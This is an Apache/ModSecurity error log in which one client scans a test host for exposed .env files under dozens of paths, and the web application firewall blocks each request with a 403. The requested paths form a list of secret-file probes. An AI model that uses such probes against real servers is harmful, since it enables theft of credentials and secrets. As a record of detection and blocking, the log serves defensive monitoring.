[Wed Feb 25 06:05:21.182647 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19xwAAAAE&quot;]
[Wed Feb 25 06:05:21.217084 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailman/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19yAAAAAE&quot;]
[Wed Feb 25 06:05:21.217394 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19yAAAAAE&quot;]
[Wed Feb 25 06:05:21.217590 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19yAAAAAE&quot;]
[Wed Feb 25 06:05:21.490402 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaKQAAAAY&quot;]
[Wed Feb 25 06:05:21.490707 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaKQAAAAY&quot;]
[Wed Feb 25 06:05:21.490920 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaKQAAAAY&quot;]
[Wed Feb 25 06:05:21.721528 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /oldsanta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLAAAAAY&quot;]
[Wed Feb 25 06:05:21.721791 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLAAAAAY&quot;]
[Wed Feb 25 06:05:21.721970 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLAAAAAY&quot;]
[Wed Feb 25 06:05:21.743446 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /opencart/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLQAAAAY&quot;]
[Wed Feb 25 06:05:21.743695 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLQAAAAY&quot;]
[Wed Feb 25 06:05:21.743857 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLQAAAAY&quot;]
[Wed Feb 25 06:05:21.766053 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ops/vagrant/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLgAAAAY&quot;]
[Wed Feb 25 06:05:21.766290 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLgAAAAY&quot;]
[Wed Feb 25 06:05:21.766483 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLgAAAAY&quot;]
[Wed Feb 25 06:05:21.837131 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /option/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLwAAAAY&quot;]
[Wed Feb 25 06:05:21.837363 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLwAAAAY&quot;]
[Wed Feb 25 06:05:21.837519 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaLwAAAAY&quot;]
[Wed Feb 25 06:05:21.875890 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /orientdb-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaMAAAAAY&quot;]
[Wed Feb 25 06:05:21.876127 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaMAAAAAY&quot;]
[Wed Feb 25 06:05:21.876303 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaMAAAAAY&quot;]
[Wed Feb 25 06:05:21.966848 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /outputs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaMQAAAAY&quot;]
[Wed Feb 25 06:05:21.967078 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaMQAAAAY&quot;]
[Wed Feb 25 06:05:21.967237 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaMQAAAAY&quot;]
[Wed Feb 25 06:05:22.049169 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /owncloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaMgAAAAY&quot;]
[Wed Feb 25 06:05:22.049416 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaMgAAAAY&quot;]
[Wed Feb 25 06:05:22.049596 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaMgAAAAY&quot;]
[Wed Feb 25 06:05:22.145599 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/styled-ui-docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNAAAAAY&quot;]
[Wed Feb 25 06:05:22.145830 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNAAAAAY&quot;]
[Wed Feb 25 06:05:22.145992 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNAAAAAY&quot;]
[Wed Feb 25 06:05:22.248005 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNQAAAAY&quot;]
[Wed Feb 25 06:05:22.248275 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNQAAAAY&quot;]
